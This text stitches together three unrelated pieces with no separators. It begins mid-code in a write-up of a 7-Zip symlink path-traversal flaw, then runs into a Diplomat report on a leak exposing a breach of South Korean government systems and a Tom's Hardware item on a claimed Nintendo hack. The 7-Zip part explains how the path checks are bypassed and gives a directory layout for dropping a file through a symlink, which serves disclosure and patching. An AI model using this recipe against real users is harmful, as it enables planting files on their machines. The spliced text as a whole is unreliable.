us2fs(_item.Path),
us2fs(linkInfo.linkPath)); // us2fs(relatPath)
}
7-Zip crafts a relative destination path for the link to point to under the newly extracted zip file. Then it is verified with IsSafePath. In case of a relative link it adds the directory the symlink is in within the zip to the path being checked.
The second issue
In our case isRelative == true because the link was evaluated previously as relative, local path of the symlink inside of the directory gets prepended to the path, allowing us to bypass this check when the symlink is anywhere but the root directory of the zip file.
the check becomes isSafePath("some/directory/in/zip" + "C:\some\other\path") evaluating as true
The third issue
Later on there is a check which is supposed to check the actual link path for validity prior to creating a symlink, however previous to checking it, it checks if a given “item” (our symlink) is a directory, which it is not - effectively bypassing the check.
if (!_ntOptions.SymLinks_AllowDangerous.Val)
{
if (_item.IsDir) // NOPE
#endif
if (linkInfo.isRelative)
{
CLinkLevelsInfo levelsInfo;
levelsInfo.Parse(linkInfo.linkPath);
if (levelsInfo.FinalLevel < 1 || levelsInfo.IsAbsolute)
{
return SendMessageError2(
0, // errorCode
"Dangerous symbolic link path was ignored",
us2fs(_item.Path),
us2fs(linkInfo.linkPath));
}
}}
After all of those checks, a symlink is created with
// existPath -> C:\some\other\path (symlink destination)
// data -> path for symlink to be created
// Initializes reparse data for symlink creation
if (!FillLinkData(data, fs2us(existPath), !linkInfo.isJunction, linkInfo.isWSL))
return SendMessageError("Cannot fill link data", us2fs(_item.Path));
/// ...
// creates symlink
if (!NFile::NIO::SetReparseData(fullProcessedPath, _item.IsDir, data, (DWORD)data.Size()))
{
RINOK(SendMessageError_with_LastError(kCantCreateSymLink, fullProcessedPath))
return S_OK;
}
Exploitation
Exploiting this bug is very simple, if we assume that the symlink gets extracted first we can craft a directory structure as below.
data/link -> symlink to C:\Users\YOURUSERNAME\Desktop (or any other location of your choice) data/link -> Directory data/link/calc.exe -> The file you want to write to the target directory
In this case the link is unpacked first, after which calc.exe gets unpacked into the symlink which 7-Zip follows and writes the binary to a directory of your choice
You can find an example exploit on my GitHub https://github.com/pacbypass/CVE-2025-11001
Basic takeaways
Fixed version is v25.00
Introduced in v21.02
This vulnerability can only be exploited from the context of an elevated user / service account or a machine with developer mode enabled.
This vulnerability can only be exploited on Windows
Thank you
Thank you for reading as well as a huge thank you to Ryota Shiga for discovering this vulnerability!
thediplomat.com
By Raphael Rashid
October 07, 2025
White hat hackers exposed a systematic breach of South Korea’s digital backbone, but Seoul remains silent on the crisis.
“It was by accident,” Saber told The Diplomat when asked how the white hat hacker and their partner cyb0rg discovered what appears to be one of the most comprehensive known penetrations of the South Korean government’s digital infrastructure in recent memory.
The two independent security researchers, only identified by their pseudonyms, claim to have compromised a workstation they attributed to Kimsuky, North Korea’s state-sponsored cyber espionage group. They published their findings in August through the hacker magazine Phrack at the annual DEF CON hacker conference in Las Vegas.
Their 8.9GB data dump triggered intense debate about who was really behind the systematic breach of South Korea’s most sensitive systems, and how it could ever have happened.
What the Hackers Found
The leaked data shows deep, sustained access to South Korea’s government backbone. At the center is the Onnara system, the government’s operational platform that handles document, inter-ministry communications, and knowledge management across central and local agencies.
Technical evidence shows the operator maintained active access to Onnara with custom automation tools and session management capabilities. The dump also revealed compromised email credentials for multiple accounts at the Defense Counterintelligence Command, with phishing attacks continuing until just days before publication.
The breach extended across multiple government institutions. The data includes complete source code from the Ministry of Foreign Affairs’ email platform, alongside evidence of targeting the Supreme Prosecutor’s Office and compromising the Ministry of Unification through brute-force attacks against the ministry’s domain. The dump also contains thousands of GPKI digital certificates – the cryptographic keys securing official communications – along with cracked passwords that protected them.
Telecommunications were also hit. The dump shows access to LG Uplus and credential collections indicating penetration of KT’s infrastructure. These firms are two of South Korea’s three major telecom operators.
Overall, the operator maintained extensive phishing campaigns, malware, and vast credential databases spanning multiple sectors.
The Attribution Puzzle
Based on technical analysis, there is broad consensus that the operations were conducted from China. Browser histories show the operator repeatedly used Google Translate to convert Korean text into simplified Chinese and followed work schedules matching Chinese holidays. Researchers from Korea University’s Graduate School of Information Security found Chinese-language documentation across the operator’s systems, notes written in Chinese characters, and browsing patterns focused on Chinese security websites. Spur, which specializes in proxy infrastructure analysis, traced much of the activity to WgetCloud, a Chinese proxy service predominantly used by China-based users.
Michael “Barni” Barnhart from DTEX, who has extensively tracked North Korean operations, told The Diplomat that “the infrastructure and malware used in these operations do not align with known APT43 tradecraft,” referring to the industry designation for North Korea’s Kimsuky. “The technical signatures, deployment methods, and operational patterns diverge significantly from previously observed APT43 campaigns,” he added. His assessment pointed to linguistic elements in malware communications suggesting “a lower-tier PRC-aligned actor.”
S2W, a South Korean cybersecurity firm, assessed that the actor was “unlikely to be directly associated with the North Korea-linked threat group Kimsuky,” citing inconsistent operational patterns and different toolsets from known Kimsuky operations.
But experts remain sharply divided on who was actually controlling these China-based operations. Some believe Chinese actors were working independently for Chinese intelligence interests. Others point to potential China-North Korea collaboration, given the documented precedent of North Korean operations from Chinese territory. Proponents of this view include Saber, who told The Diplomat that they believe the hacked hacker “is a Chinese national working from China and for both Chinese and North Korean government interests.”
A third theory suggests North Korea outsourced operations to Chinese contractors. The workstation involved was configured for the Korean time zone and its targets aligned with Kimsuky’s traditional focus on South Korean government institutions, potentially suggesting North Korean direction despite Chinese execution.
Barnhart noted that APT43 “is not assessed to be in a position of intelligence scarcity that would necessitate outsourcing to non-DPRK entities,” though such arrangements might “more plausibly align with Russian interests.”
The fourth possibility involves sophisticated Chinese false flag operations designed to implicate North Korea while pursuing separate intelligence objectives.
Seoul’s Fragmented Response
South Korea’s response has focused on damage control rather than accountability, likely reflecting both the scale and sensitivity of the hack, especially given the China connection.
Presidential spokesperson Kang Yu-jung claimed “no accurate information” when questioned about the breaches, deflecting to the Ministry of National Defense (MND). The MND has yet to comment publicly on the incident. When The Diplomat approached the Korea Internet & Security Agency, the agency deflected to the Ministry of Science and ICT (MSIT).
When approached directly, MSIT issued a brief statement: “MSIT is responsible for cyber threat response in the private information and communications sector, so we ask for your understanding that it is difficult to answer your questions.”
The Ministry of Unification acknowledged the incident, stating it had been “aware of security vulnerabilities in advance through cooperation with related agencies and completed measures.” The ministry confirmed implementing “security education for all staff” and strengthening “operational system security measures” following the breach.
Professor Kim Seung-joo from Korea University has been a vocal critic of the government, highlighting the absence of a cybersecurity “control tower.” At a recent parliamentary hearing into the KT and LG Uplus breaches – which mirrored a separate breach of SK Telecom, the country’s largest telecoms company – Kim said, “Our country’s government needs to think about how our intelligence capabilities are not even as good as two foreign hackers.”
When asked whether the breach constituted a national security crisis beyond mere data theft, he replied, “Yes, I see it that way.”
Seoul’s muted response could reflect diplomatic sensitivities around potential Chinese involvement. President Lee Jae-myung’s “pragmatic” diplomacy has sought improved relations with Beijing, with bilateral summit talks under consideration when President Xi Jinping visits for the upcoming APEC leaders’ meeting at the end of October. Direct attribution to China could complicate these efforts.
Beyond the diplomatic angle, confirmation of the link to China could potentially inflame anti-China sentiment and conspiracy theories, which have manifested in recent far-right rallies. The government is keen to diffuse these narratives.
A Systematic Campaign
The government’s lack of response becomes more concerning when viewed alongside evidence of widespread penetration across South Korea’s critical infrastructure.
According to data obtained by lawmakers, there were over 9,000 cyber intrusion attempts against military networks in the first half of 2025 alone, up 36 percent from 2023.
The Ministry of Health and Welfare and its agencies also faced over half a million hacking attempts by August 2025, up 151 percent from 2022. The ministry has seen a staggering 4,813 percent increase in targeting compared to 2022.
Yet despite planned increases in overall cybersecurity spending for 2026, critics argue that the government’s record 35.3 trillion won R&D budget plan lacks dedicated cybersecurity categories, with security funding either embedded within other sectors or missing entirely.
The fragility of critical government infrastructure was demonstrated in September when a battery fire at the National Information Resources Service in Daejeon shut down 647 government systems – nearly one-third of all national information systems. The National Intelligence Service raised the cyber threat level as a result, citing fears hackers could exploit potential security gaps during recovery work ahead of the APEC leaders meeting.
These vulnerabilities may represent only the visible portion of a far more serious compromise. Evidence in the Phrack data dump seen by The Diplomat suggests the penetration likely extended to highly sensitive materials related to North Korea and intelligence gathering operations. Given that the obtained data pertains to only one workstation, the discovery potentially reveals a much wider breach, raising further questions about attribution, potential false flag operations, and the purpose of gaining such information.
When specifically questioned about access to such materials, the Ministry of Unification provided vague responses, stating it was “currently investigating with related agencies” without elaborating which ones or the scope of the potential compromise.
As investigations continue, the question of attribution remains complex, but the scale of compromise across both public and private sectors is becoming clear, representing a strategic failure with implications for national security and public confidence in critical infrastructure.
“Hopefully researchers will take a closer look at the dumps and better understand how these APTs harass citizens,” Saber said. “The world would be a better place without them.”
| Tom's Hardware
By Jowi Morales published October 11, 2025
The Crimson Collective hacking group claims to have breached Nintendo's security and stolen files from the gaming company.
A high-profile hacking group called Crimson Collective claimed that it had successfully hacked Nintendo, which is notorious for being litigious and overprotective of its intellectual property. Cybersecurity intelligence firm Hackmanac shared a screenshot on X that allegedly showed proof of the attack, with folders that seemingly stored Nintendo data, including production assets, developer files, and backups. However, the Japanese gaming giant is yet to make a statement about this attack, so we’re unsure if this is real or just a made-up screenshot.
Crimson Collective is the group behind the recent attack on Red Hat, during which it gained unauthorized access to the company’s GitHub repositories and stole about 570GB of data. The group then attempted to extort the company but was simply dismissed. Red Hat eventually confirmed the breach, opting to work with the authorities to pursue the attackers and collaborating with its affected clients to rectify the issue.
If this attack on Nintendo is legitimate and perpetrated by the same party, then it’s likely they are attempting the same tactic of contacting the gaming giant through official channels and asking for payment to delete the stolen data, or else they will leak it.
This isn’t the first time that hackers have attacked a gaming company. Rockstar was previously targeted by an attack in 2023, and some of the source code for Grand Theft Auto VI was leaked online. In the same year, Insomniac Games, the studio behind several Spider-Man titles, was hit by a ransomware attack, and files related to games and employees were made available for download on the internet. CD Projekt Red was also a victim in 2021, after the source codes for Cyberpunk 2077, The Witcher 3, and several other titles, along with several different files, were stolen and threatened to be released publicly if the company did not pay.
Despite all the noise, Nintendo is known for keeping its secrets. Unless customer or personal data has been targeted or leaked, where it’s required by law to notify the public of an attack, it’s unlikely that the company will disclose any details of this breach. So, without confirmation from the makers of the Switch 2, we can only guess if Crimson Collective’s exploit is true or not.